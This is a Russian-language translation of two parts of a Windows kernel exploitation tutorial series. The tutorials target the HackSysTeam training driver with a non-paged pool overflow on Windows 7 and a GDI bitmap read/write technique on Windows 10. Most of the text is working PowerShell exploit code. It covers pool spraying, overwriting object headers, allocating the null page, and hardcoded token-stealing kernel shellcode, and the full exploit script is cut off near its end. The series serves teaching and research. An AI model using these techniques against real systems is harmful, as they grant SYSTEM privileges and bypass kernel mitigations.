Hola и добро пожаловать обратно в 16 часть серии туториалов по разработке эксплоитов для Windows. Сегодня мы будем эксплуатировать переполнение пула с помощью крайне уязвимого драйвера от команды HackSysTeam. Опять же, я настоятельно рекомендую читателям ознакомиться с ресурсами, перечисленными ниже, прежде чем приступить к этой статье. Дополнительно для получения нужной информации о распределении пулов смотри часть 15. Подробную информацию о настройке среды отладки можно найти в части 10.

Ресурсы:
+ HackSysExtremeVulnerableDriver (@HackSysTeam) - here
+ HackSysTeam-PSKernelPwn (@FuzzySec) - here
+ Kernel Pool Exploitation on Windows 7 (@kernelpool) - here
+ Understanding Pool Corruption Part 1 (MSDN) - here
+ Understanding Pool Corruption Part 2 (MSDN) - here
+ Understanding Pool Corruption Part 3 (MSDN) - here

Разведка боем

Давайте посмотрим на часть рассматриваемой уязвимой функции (https://github.com/hacksysteam/Hack...iver/blob/master/Driver/Source/PoolOverflow.c).

C:
NTSTATUS TriggerPoolOverflow(IN PVOID UserBuffer, IN SIZE_T Size) {
    PVOID KernelBuffer = NULL;
    NTSTATUS Status = STATUS_SUCCESS;

    PAGED_CODE();

    __try {
        DbgPrint("[+] Allocating Pool chunk\n");

        // Allocate Pool chunk
        KernelBuffer = ExAllocatePoolWithTag(NonPagedPool,
                                             (SIZE_T)POOL_BUFFER_SIZE,
                                             (ULONG)POOL_TAG);

        if (!KernelBuffer) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");

            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);
        }

        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer, (SIZE_T)POOL_BUFFER_SIZE, (ULONG)__alignof(UCHAR));

        DbgPrint("[+] UserBuffer: 0x%p\n", UserBuffer);
        DbgPrint("[+] UserBuffer Size: 0x%X\n", Size);
        DbgPrint("[+] KernelBuffer: 0x%p\n", KernelBuffer);
        DbgPrint("[+] KernelBuffer Size: 0x%X\n", (SIZE_T)POOL_BUFFER_SIZE);

#ifdef SECURE
        // Secure Note: This is secure because the developer is passing a size
        // equal to size of the allocated Pool chunk to RtlCopyMemory()/memcpy().
        // Hence, there will be no overflow
        RtlCopyMemory(KernelBuffer, UserBuffer, (SIZE_T)BUFFER_SIZE);
#else
        DbgPrint("[+] Triggering Pool Overflow\n");

        // Vulnerability Note: This is a vanilla Pool Based Overflow vulnerability
        // because the developer is passing the user supplied value directly to
        // RtlCopyMemory()/memcpy() without validating if the size is greater or
        // equal to the size of the allocated Pool chunk
        RtlCopyMemory(KernelBuffer, UserBuffer, Size);
#endif

        if (KernelBuffer) {
            DbgPrint("[+] Freeing Pool chunk\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", KernelBuffer);

            // Free the allocated Pool chunk
            ExFreePoolWithTag(KernelBuffer, (ULONG)POOL_TAG);
            KernelBuffer = NULL;
        }
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }

    return Status;
}

Очевидная ошибка очевидна! Драйвер выделяет пул размера X и копирует в него предоставленные пользователем данные. Однако драйвер не проверяет, больше ли предоставленные пользователем данные, чем выделенная им память. В результате любые дополнительные данные будут перетекать в соседний блок в невыгружаемом пуле! Я предлагаю вам подробнее изучить эту функцию в IDA. Для полноты пролог функции можно увидеть ниже, показывая тег пула и выделенный размер фрагмента.

1.png


Мы можем использовать следующий PowerShell POC для вызова функции. Обратите внимание, что мы используем максимально доступный размер. Любые дальнейшие данные будут перетекать в следующий чанк!

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1F8
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

2.png


Как мы видим, выделенный кусок имеет размер 0x200, и наш буфер останавливается прямо рядом с заголовком соседнего пула. Давайте попробуем это снова и увеличим размер или наш буфер на 8, переписав следующий заголовок чанка.

$Buffer = [Byte[]](0x41)*0x1F8 + [Byte[]](0x42)*0x4 + [Byte[]](0x43)*0x4

3.png


Здесь есть несколько ошибок, которые мы можем вызвать в зависимости от состояния пула и чанка, который мы перезаписываем случайным образом (в данном случае двойное освобождение). В любом случае, мы провоцируем BSOD и у нас есть свой примитив эксплоита.

Поимей всё что движется

План игры


Я думаю, что было бы полезно кратко изложить план игры.

- Мы должны получим невыгружаемый пул в предсказуемом состоянии,
- Мы должны вызвать контролируемое переполнение пула,
- Мы должны использовать преимущества внутренних пулов для установки обратного вызова шеллкода
- Мы должны освободить поврежденный пул, чтобы получить выполнение кода!

Я настоятельно рекомендую вам прочитать статью Tarjei и прочитать 15 часть этой серии. Это поможет более подробно объяснить, как работает наш фен-шуй для распределения чанков.

Дерандомизировать невыгружаемый пул

В предыдущем посте мы распыляли невыгружаемый пул объектами IoCompletionReserve размером 0x60. Здесь, однако, наш целевой объект имеет размер 0x200, поэтому нам нужно распылить что-то с этим размером или с объектом, который можно умножить на этот размер. К счастью, объекты событий имеют размер 0x40, который умножается на 8, и получается 0x200.

Следующий POC сначала выделяет 10000 объектов событий для дефрагментации невыгружаемого пула, а затем еще 5000 для получения предсказуемых распределений. Обратите внимание, что мы выгружаем последние 10 дескрипторов объектов в стандартный вывод, а затем вручную запускаем точку останова в отладчике WinDBG.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
     
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"
}

echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray

echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
    "{0:X}" -f $($($Event_hArray2[-$i]))
}

Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

Вы должны увидеть что-то вроде этого и достичь точки останова в отладчике WinDBG.

4.png


Глядя на один из дескрипторов, которые мы выгрузили на стандартный вывод, мы можем видеть хорошее последовательное распределение 0x40 байтов.

5.png


Чтобы получить пул в желаемом состоянии, единственное, что нам нужно сделать, - это освободить сегменты размером 0x200 байтов от нашего второго выделения. Это создаст отверстия для объекта драйвера для использования. POC ниже иллюстрирует это.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);
     
    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern void DebugBreak();
}
"@

function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"

    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($Event_hArray2.Length);$i+=16) {
        for ($j=0;$j -lt 8;$j++) {
            $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
            if ($CallResult -ne 0) {
                $FreeCount += 1
            }
        }
    }
    echo "[+] Free'd $FreeCount event objects!"
}

echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray

echo "`n[>] Last 16 object handles:"
for ($i=1;$i -lt 17; $i++) {
    "{0:X}" -f $($($Event_hArray2[-$i]))
}

Start-Sleep -s 3
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()

Структура чанка пула 101

Как уже упоминалось ранее, мы будем использовать преимущества "внутренних пулов" для выполнения кода. Мы уже видели, что путаница с этими структурами неизменно приводит к BSOD, поэтому нам было бы хорошо, чтобы лучше понять структуру чанков пула.

Ниже мы можем увидеть полную композицию одного объекта события и различные структуры, из которых он состоит!

6.png


Во-первых, здесь есть ошибка отладчика WinDBG, это не так важно, как иллюстрация структуры чанка, но это чертовски раздражает! Кто-нибудь может увидеть проблему здесь? Бесплатный торт, если кто-то может сказать мне почему так (на счет торта я пошутил). В любом случае, у нас есть три заголовка, которые нам нужно поддерживать согласованными (до некоторой степени), когда мы позже выполним наш переполнение.

Обратите внимание на TypeIndex с размером 0xC в OBJECT_HEADER, это значение является смещением в массиве указателей, которые описывают тип объекта чанка. Мы можем проверить это следующим образом.

7.png


Далее мы можем перечислить OBJECT_TYPE, связанный с указателем нашего объекта события. Также обратите внимание, что первый указатель в массиве является нулевым (0x00000000).

8.png


Важной частью здесь является смещение "OkayToCloseProcedure". Если, когда дескриптор объекта освобожден, а блок освобожден, и это значение не равно нулю, ядро перейдет к адресу и выполнит все, что там найдет. Кроме того, можно также использовать другие элементы в этой структуре, такие как "DeleteProcedure".

Вопрос в том, как мы можем использовать это в наших интересах? Помните, что сам чанк пула содержит значение TypeIndex (0xC). Если мы переполним чанк и изменим это значение на 0x0, тогда объект попытается найти структуру OBJECT_TYPE на нулевой странице процесса. Поскольку это Windows 7, мы можем выделить пустую страницу и создать фальшивый указатель "OkayToCloseProcedure" на наш шеллкод. После освобождения поврежденного блока ядро должно выполнить наш код!

Контроль EIP

Хорошо. Мы контролировали распределение пула и знаем, что после наших 0x200 байт объекта у нас будет 0x40 байта объект события. Мы можем использовать следующий буфер для точной перезаписи трех заголовков чанков, которые мы видели ранее.

Код:
$PoolHeader = [Byte[]] @(
    0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
    0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)

$ObjectHeaderQuotaInfo = [Byte[]] @(
    0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
    0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
    0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
    0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)

# The object header is partially overwritten
$ObjectHeader = [Byte[]] @(
    0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
    0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
    0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
    0x00,                   # TypeIndex (Rewrite 0xC -> 0x0)
    0x00,                   # TraceFlags
    0x08,                   # InfoMask
    0x00                    # Flags
)

# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader

Единственное значение, которое мы здесь портим, - это TypeIndex, который мы изменяем с 0x0C на 0x00. Мы можем тщательно создать фальшивый указатель "OkayToCloseProcedure" с помощью следующего кода.

Код:
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$OkayToCloseProcedure = [Byte[]](0x43)*0x4
[System.Runtime.InteropServices.Marshal]::Copy($OkayToCloseProcedure, 0, [IntPtr]0x74, $OkayToCloseProcedure.Length)

Давайте подтвердим нашу теорию в отладчике WinDBG.

9.png


Sw33t. На данный момент игра окончена! Опять же, внимательный читатель заметит ту же досадную ошибку отладчика WinDBG, что и раньше.

Шеллкод

Как и в предыдущих постах, мы можем повторно использовать наш шеллкод. Однако есть два небольших трюка, которые я оставлю внимательному читателю, чтобы разобраться! Один касается эпилога шеллкода, а другой - макета буфера нулевой страницы.

Игра окончена

Вот и все. Для получения дополнительной информации, пожалуйста, обратитесь к полному эксплоиту ниже.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern Byte CloseHandle(
        IntPtr hObject);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern int CreateEvent(
        IntPtr lpEventAttributes,
        Byte  bManualReset,
        Byte bInitialState,
        String lpName);

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(
        IntPtr lpAddress,
        uint dwSize,
        UInt32 flAllocationType,
        UInt32 flProtect);

    [DllImport("ntdll.dll")]
    public static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        uint ZeroBits,
        ref UInt32 AllocationSize,
        UInt32 AllocationType,
        UInt32 Protect);
}
"@

function Event-PoolSpray {
    echo "[+] Derandomizing NonPagedPool.."
    $Spray = @()
    for ($i=0;$i -lt 10000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray1 += $Spray
    echo "[+] $($Event_hArray1.Length) event objects created!"

    echo "[+] Allocating sequential objects.."
    $Spray = @()
    for ($i=0;$i -lt 5000;$i++) {
        $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "")
        if ($CallResult -ne 0) {
            $Spray += $CallResult
        }
    }
    $Script:Event_hArray2 += $Spray
    echo "[+] $($Event_hArray2.Length) event objects created!"

    echo "[+] Creating non-paged pool holes.."
    for ($i=0;$i -lt $($Event_hArray2.Length-500);$i+=16) {
        for ($j=0;$j -lt 8;$j++) {
            $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j])
            if ($CallResult -ne 0) {
                $FreeCount += 1
            }
        }
    }
    echo "[+] Free'd $FreeCount event objects!"
}

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}

# Compiled with Keystone-Engine
# Hardcoded offsets for Win7 x86 SP1
$Shellcode = [Byte[]] @(
    #---[Setup]
    0x60,                               # pushad
    0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET]
    0x8B, 0x40, 0x50,                   # mov eax, [eax + EPROCESS_OFFSET]
    0x89, 0xC1,                         # mov ecx, eax (Current _EPROCESS structure)
    0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET]
    #---[Copy System PID token]
    0xBA, 0x04, 0x00, 0x00, 0x00,       # mov edx, 4 (SYSTEM PID)
    0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-|
    0x2D, 0xB8, 0x00, 0x00, 0x00,       # sub eax, FLINK_OFFSET           |
    0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx     |
    0x75, 0xED,                         # jnz                           ->|
    0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET]
    0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx
    #---[Recover]
    0x61,                               # popad
    0xC2, 0x10, 0x00                    # ret 16
)

# Write shellcode to memory
echo "`n[>] Allocating ring0 payload.."
[IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length)
$ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32())
echo "[+] Payload size: $($Shellcode.Length)"
echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())"

echo "`n[>] Spraying non-paged kernel pool!"
Event-PoolSpray

# Allocate null-page
#---
# NtAllocateVirtualMemory must be used as VirtualAlloc
# will refuse a base address smaller than [IntPtr]0x1000
#---
echo "`n[>] Allocating process null page.."
[IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle
[IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000
[UInt32]$AllocationSize = 120 # 0x78
$CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40)
if ($CallResult -ne 0) {
    echo "[!] Failed to allocate null-page..`n"
    Return
} else {
    echo "[+] Success"
}
echo "[+] Writing shellcode pointer to 0x00000074"
$NullPage = [Byte[]](0x00)*0x73 + $ShellcodePointer
[System.Runtime.InteropServices.Marshal]::Copy($NullPage, 0, [IntPtr]0x1, $NullPage.Length)

$PoolHeader = [Byte[]] @(
    0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040)
    0x45, 0x76, 0x65, 0xee  # PoolTag -> Event (0xee657645)
)

$ObjectHeaderQuotaInfo = [Byte[]] @(
    0x00, 0x00, 0x00, 0x00, # PagedPoolCharge
    0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40)
    0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge
    0x00, 0x00, 0x00, 0x00  # SecurityDescriptorQuotaBlock
)

# This header is partial
$ObjectHeader = [Byte[]] @(
    0x01, 0x00, 0x00, 0x00, # PointerCount (0x1)
    0x01, 0x00, 0x00, 0x00, # HandleCount (0x1)
    0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK
    0x00,                   # TypeIndex (Rewrite 0xC -> 0x0)
    0x00,                   # TraceFlags
    0x08,                   # InfoMask
    0x00                    # Flags
)

# HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F
#---
$Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200F"
[EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

echo "`n[>] Freeing pool chunks!`n"
for ($i=0;$i -lt $($Event_hArray2.Length);$i++) {
    $CallResult = [EVD]::CloseHandle($Event_hArray2[$i])

10.png
 
Часть 17: Эксплуатация Ядра -> GDI Bitmap Abuse (Win7-10 32/64bit)

Holla и добро пожаловать! Мы снова погружаемся в ядро с драйвером от команды HackSysTeam. В этом посте мы рассмотрим уязвимость Write-What-Where. Реализуя мощный примитив чтения/записи в нулевом кольце защиты, мы можем создать эксплоит, который работает в Windows 7, 8, 8.1 и 10 (до билда v1607) и предназначен как для 32 битных систем, так и для 64-битных архитектур! Как мы увидим, эта техника по сути является атакой данных, поэтому мы безболезненно обойдем технологии защиты SMEP/SMAP/CFG/RFG

Этот метод немного "сложен" и требует некоторых предварительных знаний со стороны читателя, поэтому я настоятельно рекомендую ознакомиться с ресурсами ниже, прежде чем приступить к этой статье. Наконец, чтобы быть в тренде, мы будем разрабатывать наш эксплотт на 64-битном хосте Windows 10. Хватит воды, давайте перейдем к делу!

Ресурсы:

+ HackSysTeam-PSKernelPwn (@FuzzySec) - here
+ Abusing GDI for ring0 exploit primitives (@CoreSecurity) - here
+ Abusing GDI Reloaded (@CoreSecurity) - here
+ This Time Font hunt you down in 4 bytes (@keen_lab) - here
+ Terminus Project (@rwfpl) - here

Разведка боем

Мы перехэшируем уязвимость Write-What-Where из части 11 этой серии, поэтому мы не будем повторять весь анализ снова. Мы просто хотим убедиться, что наша произвольная запись все еще работает, как и ожидалось, в Windows 10.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
    public static extern IntPtr CreateFile(
        String lpFileName,
        UInt32 dwDesiredAccess,
        UInt32 dwShareMode,
        IntPtr lpSecurityAttributes,
        UInt32 dwCreationDisposition,
        UInt32 dwFlagsAndAttributes,
        IntPtr hTemplateFile);

    [DllImport("Kernel32.dll", SetLastError = true)]
    public static extern bool DeviceIoControl(
        IntPtr hDevice,
        int IoControlCode,
        byte[] InBuffer,
        int nInBufferSize,
        byte[] OutBuffer,
        int nOutBufferSize,
        ref int pBytesReturned,
        IntPtr Overlapped);
}
"@

$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)

if ($hDevice -eq -1) {
    echo "`n[!] Unable to get driver handle..`n"
    Return
} else {
    echo "`n[>] Driver information.."
    echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
    echo "[+] Handle: $hDevice"
}


[byte[]]$Buffer = [System.BitConverter]::GetBytes(0x4141414141414141) + [System.BitConverter]::GetBytes(0x4242424242424242)
echo "`n[>] Sending buffer.."
echo "[+] Buffer length: $($Buffer.Length)"
echo "[+] IOCTL: 0x22200B"
[EVD]::DeviceIoControl($hDevice, 0x22200B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null

Кажется, мы получили ожидаемый результат, как показано ниже.

1.png


Вы можете помнить из части 11, что это не совсем так, как кажется. Значение, которое мы пишем, на самом деле не 0x4141414141414141. Это указатель, сохраненный по этому адресу. Кроме того, наш POC работает только на 64 битной системе. Мы бы хорошо сделали нашу архитектуру эксплоитов независимой с самого начала!

Мы можем изменить структуру буфера, как показано ниже, чтобы получить произвольную запись, которую мы хотим, для архитектур 32/64 бита.

Код:
# [IntPtr]$WriteWhatPtr->$WriteWhat + $WriteWhere
#---
[IntPtr]$WriteWhatPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.BitConverter]::GetBytes($WriteWhat).Length)
[System.Runtime.InteropServices.Marshal]::Copy([System.BitConverter]::GetBytes($WriteWhat), 0, $WriteWhatPtr, [System.BitConverter]::GetBytes($WriteWhat).Length)
if ($x32Architecture) {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt32()) + [System.BitConverter]::GetBytes($WriteWhere)
} else {
    [byte[]]$Buffer = [System.BitConverter]::GetBytes($WriteWhatPtr.ToInt64()) + [System.BitConverter]::GetBytes($WriteWhere)
}

Пока передаются соответствующие переменные, теперь это должно работать универсально.

Поимей всё что движется

План игры


Легкая часть сделана. Теперь мы хотим превратить одну произвольную запись в полный примитив чтения/записи кальца защиты 0. На этом уровне нам нужно будет

- создать два растровых объекта,
- сделать утечку их соответствующих адресов ядра,
- использовать нашу произвольную запись для изменения элемента заголовка для одного из растровых объектов
- использовать вызовы функций GD32 GetBitmapBits/SetBitmapBits для чтения и записи в пространство ядра!

2.png


Утечка растровых объектов ядра

Важнейшей частью этой техники является то, что при создании растрового изображения мы можем сделать утечку адреса объекта растрового изображения в ядре. Эта утечка была исправлена Microsoft в билде v1607 Windows 10 (или юбилейный патч)

Как выясняется, когда создается растровое изображение, структура добавляется в таблицу GdiSharedHandleTable в родительском процессе PEB. Учитывая базовый адрес процесса PEB, таблица GdiSharedHandleTable располагается со следующими смещениями (32/64 бита соответственно).

Код:
[StructLayout(LayoutKind.Explicit, Size = 256)]
public struct _PEB
{
    [FieldOffset(148)]
    public IntPtr GdiSharedHandleTable32;
    [FieldOffset(248)]
    public IntPtr GdiSharedHandleTable64;
}

Эта запись PEB является просто указателем на массив структур GDICELL, которые определяют несколько различных типов изображений. Определение этой структуры можно увидеть ниже.

Код:
/// 32bit size: 0x10
/// 64bit size: 0x18
[StructLayout(LayoutKind.Sequential)]
public struct _GDI_CELL
{
    public IntPtr pKernelAddress;
    public UInt16 wProcessId;
    public UInt16 wCount;
    public UInt16 wUpper;
    public UInt16 wType;
    public IntPtr pUserAddress;
}

Давайте используем следующий POC, чтобы посмотреть, сможем ли мы вручную найти структуру _GDI_CELL в KD.

Код:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;

public static class EVD
{
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
        int nWidth,
        int nHeight,
        uint cPlanes,
        uint cBitsPerPel,
        IntPtr lpvBits);
}
"@

Мы запускаем POC и возвращаем дескриптор растрового изображения. Сразу же становится очевидным, что это не стандартное значение дескриптора, возвращаемое многими вызовами Windows API (оно слишком большое).

3.png


На самом деле, благодаря моей сообразительности, последние два байта дескрипторов растрового изображения фактически являются индексом для структуры в массиве таблицы GdiSharedHandleTable (=> handle & 0xffff). Зная это, давайте перейдем к отладчику KD и посмотрим, сможем ли мы найти структуру _GDI_CELL для нашего вновь созданного растрового изображения!

4.png


С указателем на массив таблиц GdiSharedHandleTable все, что нам нужно сделать, это добавить индекс структуры, умноженный на размер структуры (0x18 на 64-битной системе).

5.png


У Process hacker есть очень полезная функция, которая позволяет нам перечислять дескрипторы объектов GDI. Мы можем использовать это, чтобы подтвердить значения, которые мы нашли в KD.

6.png


